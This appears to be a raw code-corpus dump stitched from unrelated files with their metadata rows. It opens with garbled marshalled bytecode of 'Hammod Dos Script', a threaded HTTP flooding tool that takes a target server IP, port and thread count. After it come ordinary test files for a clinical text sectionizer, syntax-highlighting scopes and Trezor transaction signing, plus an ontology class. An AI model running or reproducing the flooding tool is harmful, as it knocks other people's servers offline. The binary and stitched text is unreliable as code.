\x02\r\x01\x05\x01\x15\x01\x12\x01\x05\x02c\x00\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s1\x00\x00\x00x*\x00t\x00\x00r,\x00t\x01\x00j\x02\x00\x83\x00\x00}\x00\x00t\x03\x00|\x00\x00\x83\x01\x00\x01t\x01\x00j\x04\x00\x83\x00\x00\x01q\x03\x00Wd\x00\x00S(\x01\x00\x00\x00N(\x05\x00\x00\x00R\x08\x00\x00\x00t\x01\x00\x00\x00qt\x03\x00\x00\x00getR&\x00\x00\x00t\t\x00\x00\x00task_done(\x01\x00\x00\x00R"\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<febry>t\x03\x00\x00\x00dosI\x00\x00\x00s\x08\x00\x00\x00\x00\x01\t\x01\x0c\x01\n\x01c\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00C\x00\x00\x00sB\x00\x00\x00x;\x00t\x00\x00r=\x00t\x01\x00j\x02\x00\x83\x00\x00}\x00\x00t\x03\x00t\x04\x00j\x05\x00t\x06\x00\x83\x01\x00d\x01\x00\x17t\x07\x00\x17\x83\x01\x00\x01t\x01\x00j\x08\x00\x83\x00\x00\x01q\x03\x00Wd\x00\x00S(\x02\x00\x00\x00Ns\x07\x00\x00\x00http://(\t\x00\x00\x00R\x08\x00\x00\x00t\x01\x00\x00\x00wR(\x00\x00\x00R\x13\x00\x00\x00R\r\x00\x00\x00R\x0e\x00\x00\x00R\x05\x00\x00\x00R\x15\x00\x00\x00R)\x00\x00\x00(\x01\x00\x00\x00R"\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<febry>t\x04\x00\x00\x00dos2P\x00\x00\x00s\x08\x00\x00\x00\x00\x01\t\x01\x0c\x01\x1b\x01c\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00C\x00\x00\x00s\x13\x00\x00\x00d\x01\x00GHt\x00\x00j\x01\x00\x83\x00\x00\x01d\x00\x00S(\x02\x00\x00\x00Ns-\x01\x00\x00 \x1b[92m\tHammod Dos Script v.1 http://www.canyalcin.com/\n\tIt is the end user\'s responsibility to obey all applicable laws.\n\tIt is just for server testing script. Your ip is visible. \n\n\tusage : python3 hammer.py [-s] [-p] [-t]\n\t-h : help\n\t-s : server ip\n\t-p : port default 80\n\t-t : turbo default 135 \x1b[0m(\x02\x00\x00\x00t\x03\x00\x00\x00syst\x04\x00\x00\x00exit(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<febry>t\x05\x00\x00\x00usageW\x00\x00\x00s\x04\x00\x00\x00\x00\x08\x05\x01c\x00\x00\x00\x00\x03\x00\x00\x00\r\x00\x00\x00C\x00\x00\x00sq\x01\x00\x00t\x00\x00d\x01\x00t\x01\x00d\x02\x00d\x03\x00\x83\x00\x02}\x00\x00|\x00\x00j\x02\x00d\x04\x00d\x05\x00d\x06\x00d\x07\x00d\x08\x00d\t\x00d\n\x00d\x0b\x00d\x0c\x00t\x03\x00j\x04\x00d\r\x00t\x03\x00j\x05\x00\x83\x02\x05\x01|\x00\x00j\x02\x00d\x0e\x00d\x0f\x00d\n\x00d\x10\x00d\x06\x00d\x11\x00\x83\x02\x02\x01|\x00\x00j\x02\x00d\x12\x00d\x13\x00d\x14\x00d\x15\x00d\n\x00d\x16\x00d\x06\x00d\x17\x00\x83\x02\x03\x01|\x00\x00j\x02\x00d\x18\x00d\x19\x00d\x14\x00d\x15\x00d\n\x00d\x1a\x00d\x06\x00d\x1b\x00\x83\x02\x03\x01|\x00\x00j\x02\x00d\x1c\x00d\x1d\x00d\n\x00d\x06\x00d\x08\x00d\x1e\x00d\x06\x00d\x1f\x00\x83\x02\x03\x01|\x00\x00j\x06\x00\x83\x00\x00\\\x02\x00}\x01\x00}\x02\x00t\x03\x00j\x07\x00d \x00|\x01\x00j\x08\x00d!\x00d"\x00\x83\x00\x02\x01|\x01\x00j\t\x00r\t\x01t\n\x00\x83\x00\x00\x01n\x00\x00|\x01\x00j\x0b\x00d\x00\x00k\t\x00r$\x01|\x01\x00j\x0b\x00a\x0b\x00n\x07\x00t\n\x00\x83\x00\x00\x01|\x01\x00j\r\x00d\x00\x00k\x08\x00rC\x01d#\x00a\r\x00n\t\x00|\x01\x00j\r\x00a\r\x00|\x01\x00j\x0e\x00d\x00\x00k\x08\x00rd\x01d$\x00a\x0f\x00n\t\x00|\x01\x00j\x0e\x00a\x0f\x00d\x00\x00S(%\x00\x00\x00Nt\x0f\x00\x00\x00add_help_optiont\x06\x00\x00\x00epilogt\x07\x00\x00\x00Hammerss\x02\x00\x00\x00-qs\x07\x00\x00\x00--quiett\x04\x00\x00\x00helps\x14\x00\x00\x00set logging to ERRORt\x06\x00\x00\x00actiont\x0b\x00\x00\x00store_constt\x04\x00\x00\x00destt\x08\x00\x00\x00loglevelt\x05\x00\x00\x00constt\x07\x00\x00\x00defaults\x02\x00\x00\x00-ss\x08\x00\x00\x00--serverR\x15\x00\x00\x00s\x19\x00\x00\x00attack to server ip -s ips\x02\x00\x00\x00-ps\x06\x00\x00\x00--portt\x04\x00\x00\x00typeR\x1c\x00\x00\x00R\x1d\x00\x00\x00s\x10\x00\x00\x00-p 80 default 80s\x02\x00\x00\x00-ts\x07\x00\x00\x00--turbot\x05\x00\x00\x00turbos\x12\x00\x00\x00default 135 -t 135s\x02\x00\x00\x00-hs\x06\x00\x00\x00--helpt\n\x00\x00\x00store_trues\x08\x00\x00\x00help yout\x05\x00\x00\x00levelt\x06\x00\x00\x00formats\x1b\x00\x00\x00%(levelname)-8s %(message)siP\x00\x00\x00i\x87\x00\x00\x00(\x10\x00\x00\x00R\x01\x00\x00\x00t\x05\x00\x00\x00Falset\n\x00\x00\x00add_optiont\x07\x00\x00\x00loggingt\x05\x00\x00\x00ERRORt\x04\x00\x00\x00INFOt\n\x00\x00\x00parse_argst\x0b\x00\x00\x00basicConfigR7\x00\x00\x00R3\x00\x00\x00R/\x00\x00\x00R\x15\x00\x00\x00t\x04\x00\x00\x00NoneR\x1d\x00\x00\x00R;\x00\x00\x00t\x03\x00\x00\x00thr(\x03\x00\x00\x00t\x04\x00\x00\x00optpt\x04\x00\x00\x00optst\x04\x00\x00\x00args(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<febry>t\x0e\x00\x00\x00get_parametersc\x00\x00\x00s&\x00\x00\x00\x00\x05\x15\x014\x01\x1c\x01"\x01"\x01"\x01\x12\x01\x19\x01\t\x01\n\x01\x0f\x01\x0c\x02\x07\x01\x0f\x01\t\x02\t\x01\x0f\x01\t\x02s\x0b\x00\x00\x00headers.txtt\x01\x00\x00\x00rt\x08\x00\x00\x00__main__i\x02\x00\x00\x00s\x05\x00\x00\x00\x1b[92ms\x07\x00\x00\x00 port: s\x08\x00\x00\x00 turbo: s\x04\x00\x00\x00\x1b[0ms\x17\x00\x00\x00\x1b[94mPlease wait...\x1b[0mi\x05\x00\x00\x00i\x01\x00\x00\x00s!\x00\x00\x00\x1b[91mcheck server ip and port\x1b[0mt\x06\x00\x00\x00targeti\x00\x00\x00\x00i\x08\x07\x00\x00g\x9a\x99\x99\x99\x99\x99\xb9?(7\x00\x00\x00t\x07\x00\x00\x00__doc__t\x05\x00\x00\x00queueR\x00\x00\x00\x00t\x08\x00\x00\x00optparseR\x01\x00\x00\x00R\x0f\x00\x00\x00R-\x00\x00\x00R\x18\x00\x00\x00t\t\x00\x00\x00threadingRA\x00\x00\x00t\x0e\x00\x00\x00urllib.requestR\t\x00\x00\x00R\r\x00\x00\x00R\x04\x00\x00\x00R\x06\x00\x00\x00R\x13\x00\x00\x00R&\x00\x00\x00R*\x00\x00\x00R,\x00\x00\x00R/\x00\x00\x00RK\x00\x00\x00t\x04\x00\x00\x00openR\x07\x00\x00\x00t\x04\x00\x00\x00readR\x16\x00\x00\x00t\x05\x00\x00\x00closeR\'\x00\x00\x00R+\x00\x00\x00t\x08\x00\x00\x00__name__t\x03\x00\x00\x00lent\x04\x00\x00\x00argvR\x15\x00\x00\x00R\x14\x00\x00\x00R\x1d\x00\x00\x00RG\x00\x00\x00R\x10\x00\x00\x00R\x19\x00\x00\x00R\x1a\x00\x00\x00R$\x00\x00\x00R\x1b\x00\x00\x00R\x1c\x00\x00\x00t\n\x00\x00\x00settimeoutR!\x00\x00\x00R%\x00\x00\x00R\x08\x00\x00\x00t\x05\x00\x00\x00ranget\x01\x00\x00\x00it\x06\x00\x00\x00Threadt\x01\x00\x00\x00tt\x06\x00\x00\x00daemont\x05\x00\x00\x00startt\x02\x00\x00\x00t2R"\x00\x00\x00t\x03\x00\x00\x00putt\x04\x00\x00\x00join(\x00\x00\x00\x00(\x00\x00\x00\x00(\x00\x00\x00\x00s\x07\x00\x00\x00<febry>t\x08\x00\x00\x00<module>\x0f\x00\x00\x00sf\x00\x00\x00\x06\x03\x10\x01\x10\x01T\x02\t\x0e\t\x08\t\n\t\x13\t\x07\t\x07\t\x0c\t\x1f\x0f\x01\x0c\x01\n\x02\t\x01\t\x03\x0c\x01\x15\x01\n\x01\x07\x01&\x01\x05\x01\x07\x01\x07\x01\r\x01\x03\x01\x18\x01\x19\x01\x11\x01\x12\x01\x05\x01\x0b\x01\t\x01\x19\x01\x12\x01\t\x01\n\x01\x12\x01\t\x01\x0e\x01\x0c\x02\x06\x01\t\x01\x0c\x01\x06\x01\x10\x01\n\x01\r\x01\x11\x01\n\x01'))
| 4,773
| 14,286
| 0.762204
| 3,144
| 14,319
| 3.46215
| 0.141221
| 0.28057
| 0.143041
| 0.103629
| 0.40983
| 0.341755
| 0.264125
| 0.222232
| 0.203859
| 0.146624
| 0
| 0.379726
| 0.015504
| 14,319
| 3
| 14,286
| 4,773
| 0.392424
| 0.001117
| 0
| 0
| 0
| 2.5
| 0.575683
| 0.48738
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 10
|
a26b997f652f3edb5987889533fb225804fe4928
| 2,988
|
py
|
Python
|
tests/test_textsectionizer.py
|
medspacy/sectionizer
|
83e1e484a3f067b105c72d838bf439ce7695ad55
|
[
"MIT"
] | 8
|
2020-03-28T21:59:40.000Z
|
2021-05-17T14:06:34.000Z
|
tests/test_textsectionizer.py
|
medspacy/sectionizer
|
83e1e484a3f067b105c72d838bf439ce7695ad55
|
[
"MIT"
] | 2
|
2020-10-15T13:55:31.000Z
|
2020-10-16T21:36:45.000Z
|
tests/test_textsectionizer.py
|
medspacy/sectionizer
|
83e1e484a3f067b105c72d838bf439ce7695ad55
|
[
"MIT"
] | 5
|
2020-04-28T02:55:44.000Z
|
2021-05-11T00:30:05.000Z
|
import pytest
from clinical_sectionizer import TextSectionizer
class TestTextSectionizer:
def test_add(self):
sectionizer = TextSectionizer(patterns=None)
sectionizer.add([{"section_title": "section", "pattern": "my pattern"}])
assert sectionizer.patterns
def test_add_wo_flag(self):
sectionizer = TextSectionizer(patterns=None)
sectionizer.add(
[{"section_title": "section", "pattern": "my pattern"}], cflags=[]
)
assert sectionizer.patterns
def test_string_match(self):
sectionizer = TextSectionizer(patterns=None)
sectionizer.add(
[
{
"section_title": "past_medical_history",
"pattern": "Past Medical History:",
}
]
)
doc = "Past Medical History: PE"
sections = sectionizer(doc)
(section_title, header, section) = sections[0]
assert section_title == "past_medical_history"
assert header == "Past Medical History:"
assert section == "Past Medical History: PE"
def test_string_match_case_sensitive(self):
sectionizer = TextSectionizer(patterns=None)
sectionizer.add(
[
{
"section_title": "past_medical_history",
"pattern": "PAST MEDICAL HISTORY:",
}
],
cflags=[],
)
doc = "Past Medical History: PE"
sections = sectionizer(doc)
(section_title, header, section) = sections[0]
assert section_title == None
assert header == None
def test_string_match_case_sensitive2(self):
sectionizer = TextSectionizer(patterns=None)
sectionizer.add(
[
{
"section_title": "past_medical_history",
"pattern": "PAST MEDICAL HISTORY:",
}
],
cflags=[],
)
doc = "PAST MEDICAL HISTORY: PE"
sections = sectionizer(doc)
(section_title, header, section) = sections[0]
assert section_title == "past_medical_history"
assert header == "PAST MEDICAL HISTORY:"
assert section == "PAST MEDICAL HISTORY: PE"
def test_string_match_case_sensitive3(self):
sectionizer = TextSectionizer(patterns=None)
sectionizer.add(
[
{
"section_title": "past_medical_history",
"pattern": "PAST MEDICAL HISTORY:",
}
],
cflags=[],
)
doc = "PAST MEDICAL HISTORY: PE"
sections = sectionizer(doc)
(section_title, header, section) = sections[0]
assert section_title == "past_medical_history"
assert header == "Past Medical History:"
assert section == "Past Medical History: PE"
| 33.954545
| 80
| 0.541165
| 253
| 2,988
| 6.205534
| 0.142292
| 0.147134
| 0.240764
| 0.102548
| 0.894904
| 0.840127
| 0.840127
| 0.840127
| 0.840127
| 0.840127
| 0
| 0.00316
| 0.364458
| 2,988
| 87
| 81
| 34.344828
| 0.823591
| 0
| 0
| 0.56962
| 0
| 0
| 0.203815
| 0
| 0
| 0
| 0
| 0
| 0.164557
| 1
| 0.075949
| false
| 0
| 0.025316
| 0
| 0.113924
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
a275403b37b0c7721b8918412b7b28626d7e39d4
| 2,568
|
py
|
Python
|
src/arago/ontology/qname.py
|
166MMX/ogit-python-library
|
4d2dd4dca698531793047c06811ea16a9d8e715a
|
[
"MIT"
] | null | null | null |
src/arago/ontology/qname.py
|
166MMX/ogit-python-library
|
4d2dd4dca698531793047c06811ea16a9d8e715a
|
[
"MIT"
] | null | null | null |
src/arago/ontology/qname.py
|
166MMX/ogit-python-library
|
4d2dd4dca698531793047c06811ea16a9d8e715a
|
[
"MIT"
] | null | null | null |
from dataclasses import dataclass
from arago.ontology.utils import to_constant
NAMESPACE_BASE_URI = 'http://www.purl.org/'
@dataclass(frozen=True)
class Prefix:
full_name: str
@property
def full_uri(self) -> str:
return self.base_uri + self.uri
@property
def base_uri(self) -> str:
return NAMESPACE_BASE_URI
@property
def uri(self) -> str:
prefix = self.full_name
if prefix.startswith('ogit.'):
prefix = prefix.replace('.', '/')
return f'{prefix}'
@property
def constant(self) -> str:
return to_constant(self.uri)
def __eq__(self, o: object) -> bool:
if isinstance(o, str):
return \
self.uri == o or \
self.full_uri == o or \
self.full_name == o
return super().__eq__(o)
def __hash__(self) -> int:
return hash(self.full_name)
def __repr__(self) -> str:
return f'''{self.__class__.__name__}('{self.full_name}')'''
# https://www.w3.org/TR/turtle/#prefixed-name
@dataclass(frozen=True)
class QName:
full_name: str
@property
def prefix(self) -> str:
name = self.full_name
if ':' in name:
colon_idx = name.rindex(':')
return name[:colon_idx]
else:
return ''
@property
def name(self) -> str:
name = self.full_name
if ':' in name:
colon_idx = name.rindex(':')
return name[colon_idx + 1:]
else:
return name
@property
def full_uri(self) -> str:
return self.base_uri + self.uri
@property
def base_uri(self) -> str:
return NAMESPACE_BASE_URI
@property
def uri(self) -> str:
prefix = self.prefix
if prefix.startswith('ogit.'):
prefix = prefix.replace('.', '/')
return f'{prefix}/{self.name}'
@property
def constant(self) -> str:
return to_constant(self.uri)
def __eq__(self, o: object) -> bool:
if isinstance(o, str):
return \
self.uri == o or \
self.full_uri == o or \
self.full_name == o
return super().__eq__(o)
def __hash__(self) -> int:
return hash(self.full_name)
def __repr__(self) -> str:
return f'''{self.__class__.__name__}('{self.full_name}')'''
# QName ::= PrefixedName | UnprefixedName
# PrefixedName ::= Prefix ':' LocalPart
# UnprefixedName ::= LocalPart
| 23.777778
| 67
| 0.543614
| 297
| 2,568
| 4.430976
| 0.191919
| 0.06383
| 0.082067
| 0.048632
| 0.742401
| 0.717325
| 0.717325
| 0.717325
| 0.717325
| 0.717325
| 0
| 0.001161
| 0.32905
| 2,568
| 107
| 68
| 24
| 0.762623
| 0.072041
| 0
| 0.805195
| 0
| 0
| 0.065629
| 0.037863
| 0
| 0
| 0
| 0
| 0
| 1
| 0.207792
| false
| 0
| 0.025974
| 0.12987
| 0.545455
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 9
|
a2976601441ea43fc78f6078e932e25fa9b6a2d6
| 2,012
|
py
|
Python
|
test/calls/call4.py
|
kylebarron/MagicPython
|
da6fa0793e2c85d3bf7709ff1d4f65ccf468db11
|
[
"MIT"
] | 1
|
2020-08-07T16:09:57.000Z
|
2020-08-07T16:09:57.000Z
|
test/calls/call4.py
|
kylebarron/MagicPython
|
da6fa0793e2c85d3bf7709ff1d4f65ccf468db11
|
[
"MIT"
] | 4
|
2019-06-16T09:52:03.000Z
|
2019-08-18T02:11:35.000Z
|
test/calls/call4.py
|
kylebarron/MagicPython
|
da6fa0793e2c85d3bf7709ff1d4f65ccf468db11
|
[
"MIT"
] | null | null | null |
foo.1
foo(bar=baz)(ham=sam)
foo.None and foo.None.baz
foo : source.python
. : punctuation.separator.period.python, source.python
1 : source.python
foo : meta.function-call.generic.python, meta.function-call.python, source.python
( : meta.function-call.python, punctuation.definition.arguments.begin.python, source.python
bar : meta.function-call.arguments.python, meta.function-call.python, source.python, variable.parameter.function-call.python
= : keyword.operator.assignment.python, meta.function-call.arguments.python, meta.function-call.python, source.python
baz : meta.function-call.arguments.python, meta.function-call.python, source.python
) : meta.function-call.arguments.python, meta.function-call.python, punctuation.definition.arguments.end.python, source.python
( : meta.function-call.arguments.python, meta.function-call.python, punctuation.definition.arguments.begin.python, source.python
ham : meta.function-call.arguments.python, meta.function-call.python, source.python, variable.parameter.function-call.python
= : keyword.operator.assignment.python, meta.function-call.arguments.python, meta.function-call.python, source.python
sam : meta.function-call.arguments.python, meta.function-call.python, source.python
) : meta.function-call.python, punctuation.definition.arguments.end.python, source.python
foo : source.python
. : punctuation.separator.period.python, source.python
None : keyword.illegal.name.python, source.python
: source.python
and : keyword.operator.logical.python, source.python
: source.python
foo : source.python
. : punctuation.separator.period.python, source.python
None : keyword.illegal.name.python, source.python
. : punctuation.separator.period.python, source.python
baz : source.python
| 62.875
| 140
| 0.692346
| 231
| 2,012
| 6.030303
| 0.125541
| 0.215363
| 0.258435
| 0.236899
| 0.906676
| 0.889447
| 0.889447
| 0.889447
| 0.857861
| 0.815506
| 0
| 0.001236
| 0.195825
| 2,012
| 31
| 141
| 64.903226
| 0.859703
| 0
| 0
| 0.464286
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
a2dbb8404cc7560852bfec95e14df6e94667947e
| 9,992
|
py
|
Python
|
core/tests/test_apps.wallet.segwit.signtx.native_p2wpkh.py
|
Kayuii/trezor-crypto
|
6556616681a4e2d7e18817e8692d4f6e041dee01
|
[
"MIT"
] | null | null | null |
core/tests/test_apps.wallet.segwit.signtx.native_p2wpkh.py
|
Kayuii/trezor-crypto
|
6556616681a4e2d7e18817e8692d4f6e041dee01
|
[
"MIT"
] | 1
|
2019-02-08T00:22:42.000Z
|
2019-02-13T09:41:54.000Z
|
core/tests/test_apps.wallet.segwit.signtx.native_p2wpkh.py
|
Kayuii/trezor-crypto
|
6556616681a4e2d7e18817e8692d4f6e041dee01
|
[
"MIT"
] | 2
|
2019-02-07T23:57:09.000Z
|
2020-10-21T07:07:27.000Z
|
from common import *
from trezor.utils import chunks
from trezor.crypto import bip39
from trezor.messages.SignTx import SignTx
from trezor.messages.TxInputType import TxInputType
from trezor.messages.TxOutputType import TxOutputType
from trezor.messages.TxRequest import TxRequest
from trezor.messages.TxAck import TxAck
from trezor.messages.TransactionType import TransactionType
from trezor.messages.RequestType import TXINPUT, TXOUTPUT, TXFINISHED
from trezor.messages.TxRequestDetailsType import TxRequestDetailsType
from trezor.messages.TxRequestSerializedType import TxRequestSerializedType
from trezor.messages import InputScriptType
from trezor.messages import OutputScriptType
from apps.common import coins
from apps.common.seed import Keychain
from apps.wallet.sign_tx import helpers, signing
class TestSignSegwitTxNativeP2WPKH(unittest.TestCase):
# pylint: disable=C0301
def test_send_native_p2wpkh(self):
coin = coins.by_name('Testnet')
seed = bip39.seed(' '.join(['all'] * 12), '')
inp1 = TxInputType(
# 49'/1'/0'/0/0" - tb1qqzv60m9ajw8drqulta4ld4gfx0rdh82un5s65s
address_n=[49 | 0x80000000, 1 | 0x80000000, 0 | 0x80000000, 0, 0],
amount=12300000,
prev_hash=unhexlify('09144602765ce3dd8f4329445b20e3684e948709c5cdcaf12da3bb079c99448a'),
prev_index=0,
script_type=InputScriptType.SPENDWITNESS,
sequence=0xffffffff,
multisig=None,
)
out1 = TxOutputType(
address='2N4Q5FhU2497BryFfUgbqkAJE87aKHUhXMp',
amount=5000000,
script_type=OutputScriptType.PAYTOADDRESS,
address_n=[],
multisig=None,
)
out2 = TxOutputType(
address='tb1q694ccp5qcc0udmfwgp692u2s2hjpq5h407urtu',
script_type=OutputScriptType.PAYTOADDRESS,
amount=12300000 - 11000 - 5000000,
address_n=[],
multisig=None,
)
tx = SignTx(coin_name='Testnet', version=None, lock_time=None, inputs_count=1, outputs_count=2)
messages = [
None,
# check fee
TxRequest(request_type=TXINPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None)),
TxAck(tx=TransactionType(inputs=[inp1])),
helpers.UiConfirmForeignAddress(address_n=inp1.address_n),
True,
TxRequest(request_type=TXOUTPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None), serialized=None),
TxAck(tx=TransactionType(outputs=[out1])),
helpers.UiConfirmOutput(out1, coin),
True,
TxRequest(request_type=TXOUTPUT, details=TxRequestDetailsType(request_index=1, tx_hash=None), serialized=None),
TxAck(tx=TransactionType(outputs=[out2])),
helpers.UiConfirmOutput(out2, coin),
True,
helpers.UiConfirmTotal(12300000, 11000, coin),
True,
# sign tx
TxRequest(request_type=TXINPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None), serialized=None),
TxAck(tx=TransactionType(inputs=[inp1])),
TxRequest(request_type=TXOUTPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None), serialized=TxRequestSerializedType(
# returned serialized inp1
serialized_tx=unhexlify('010000000001018a44999c07bba32df1cacdc50987944e68e3205b4429438fdde35c76024614090000000000ffffffff'),
)),
TxAck(tx=TransactionType(outputs=[out1])),
TxRequest(request_type=TXOUTPUT, details=TxRequestDetailsType(request_index=1, tx_hash=None), serialized=TxRequestSerializedType(
# returned serialized out1
serialized_tx=unhexlify('02404b4c000000000017a9147a55d61848e77ca266e79a39bfc85c580a6426c987'),
signature_index=None,
signature=None,
)),
TxAck(tx=TransactionType(outputs=[out2])),
# segwit
TxRequest(request_type=TXINPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None), serialized=TxRequestSerializedType(
# returned serialized out2
serialized_tx=unhexlify('a8386f0000000000160014d16b8c0680c61fc6ed2e407455715055e41052f5'),
signature_index=None,
signature=None,
)),
TxAck(tx=TransactionType(inputs=[inp1])),
TxRequest(request_type=TXFINISHED, details=None, serialized=TxRequestSerializedType(
serialized_tx=unhexlify('02483045022100a7ca8f097525f9044e64376dc0a0f5d4aeb8d15d66808ba97979a0475b06b66502200597c8ebcef63e047f9aeef1a8001d3560470cf896c12f6990eec4faec599b950121033add1f0e8e3c3136f7428dd4a4de1057380bd311f5b0856e2269170b4ffa65bf00000000'),
signature_index=0,
signature=unhexlify('3045022100a7ca8f097525f9044e64376dc0a0f5d4aeb8d15d66808ba97979a0475b06b66502200597c8ebcef63e047f9aeef1a8001d3560470cf896c12f6990eec4faec599b95'),
)),
]
keychain = Keychain(seed, [[coin.curve_name]])
signer = signing.sign_tx(tx, keychain)
for request, response in chunks(messages, 2):
self.assertEqual(signer.send(request), response)
with self.assertRaises(StopIteration):
signer.send(None)
def test_send_native_p2wpkh_change(self):
coin = coins.by_name('Testnet')
seed = bip39.seed(' '.join(['all'] * 12), '')
inp1 = TxInputType(
# 49'/1'/0'/0/0" - tb1qqzv60m9ajw8drqulta4ld4gfx0rdh82un5s65s
address_n=[49 | 0x80000000, 1 | 0x80000000, 0 | 0x80000000, 0, 0],
amount=12300000,
prev_hash=unhexlify('09144602765ce3dd8f4329445b20e3684e948709c5cdcaf12da3bb079c99448a'),
prev_index=0,
script_type=InputScriptType.SPENDWITNESS,
sequence=0xffffffff,
multisig=None,
)
out1 = TxOutputType(
address='2N4Q5FhU2497BryFfUgbqkAJE87aKHUhXMp',
amount=5000000,
script_type=OutputScriptType.PAYTOADDRESS,
address_n=[],
multisig=None,
)
out2 = TxOutputType(
address=None,
address_n=[49 | 0x80000000, 1 | 0x80000000, 0 | 0x80000000, 1, 0],
script_type=OutputScriptType.PAYTOWITNESS,
amount=12300000 - 11000 - 5000000,
multisig=None,
)
tx = SignTx(coin_name='Testnet', version=None, lock_time=None, inputs_count=1, outputs_count=2)
messages = [
None,
# check fee
TxRequest(request_type=TXINPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None)),
TxAck(tx=TransactionType(inputs=[inp1])),
helpers.UiConfirmForeignAddress(address_n=inp1.address_n),
True,
TxRequest(request_type=TXOUTPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None), serialized=None),
TxAck(tx=TransactionType(outputs=[out1])),
helpers.UiConfirmOutput(out1, coin),
True,
TxRequest(request_type=TXOUTPUT, details=TxRequestDetailsType(request_index=1, tx_hash=None), serialized=None),
TxAck(tx=TransactionType(outputs=[out2])),
helpers.UiConfirmTotal(5000000 + 11000, 11000, coin),
True,
# sign tx
TxRequest(request_type=TXINPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None), serialized=None),
TxAck(tx=TransactionType(inputs=[inp1])),
TxRequest(request_type=TXOUTPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None), serialized=TxRequestSerializedType(
# returned serialized inp1
serialized_tx=unhexlify('010000000001018a44999c07bba32df1cacdc50987944e68e3205b4429438fdde35c76024614090000000000ffffffff'),
)),
# the out has to be cloned not to send the same object which was modified
TxAck(tx=TransactionType(outputs=[TxOutputType(**out1.__dict__)])),
TxRequest(request_type=TXOUTPUT, details=TxRequestDetailsType(request_index=1, tx_hash=None), serialized=TxRequestSerializedType(
# returned serialized out1
serialized_tx=unhexlify('02404b4c000000000017a9147a55d61848e77ca266e79a39bfc85c580a6426c987'),
signature_index=None,
signature=None,
)),
TxAck(tx=TransactionType(outputs=[TxOutputType(**out2.__dict__)])),
# segwit
TxRequest(request_type=TXINPUT, details=TxRequestDetailsType(request_index=0, tx_hash=None), serialized=TxRequestSerializedType(
# returned serialized out2
serialized_tx=unhexlify('a8386f0000000000160014d16b8c0680c61fc6ed2e407455715055e41052f5'),
signature_index=None,
signature=None,
)),
TxAck(tx=TransactionType(inputs=[inp1])),
TxRequest(request_type=TXFINISHED, details=None, serialized=TxRequestSerializedType(
serialized_tx=unhexlify('02483045022100a7ca8f097525f9044e64376dc0a0f5d4aeb8d15d66808ba97979a0475b06b66502200597c8ebcef63e047f9aeef1a8001d3560470cf896c12f6990eec4faec599b950121033add1f0e8e3c3136f7428dd4a4de1057380bd311f5b0856e2269170b4ffa65bf00000000'),
signature_index=0,
signature=unhexlify('3045022100a7ca8f097525f9044e64376dc0a0f5d4aeb8d15d66808ba97979a0475b06b66502200597c8ebcef63e047f9aeef1a8001d3560470cf896c12f6990eec4faec599b95'),
)),
]
keychain = Keychain(seed, [[coin.curve_name]])
signer = signing.sign_tx(tx, keychain)
for request, response in chunks(messages, 2):
self.assertEqual(signer.send(request), response)
with self.assertRaises(StopIteration):
signer.send(None)
if __name__ == '__main__':
unittest.main()
| 45.418182
| 268
| 0.677342
| 816
| 9,992
| 8.151961
| 0.160539
| 0.038485
| 0.048106
| 0.082081
| 0.829525
| 0.809681
| 0.80908
| 0.80908
| 0.802766
| 0.802766
| 0
| 0.165682
| 0.23769
| 9,992
| 219
| 269
| 45.625571
| 0.707628
| 0.041333
| 0
| 0.762195
| 0
| 0
| 0.153106
| 0.148505
| 0
| 0
| 0.011504
| 0
| 0.02439
| 1
| 0.012195
| false
| 0
| 0.103659
| 0
| 0.121951
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0c63e3f0147b92c001613ce1a2a923aadb6df87f
| 5,382
|
py
|
Python
|
pandasio/utils/tests/test_numpy_decompression.py
|
BrianKopp/pandas-io
|
cbab1146289a6fdbbd2ff7e3aaa55ff64e228fb7
|
[
"MIT"
] | 1
|
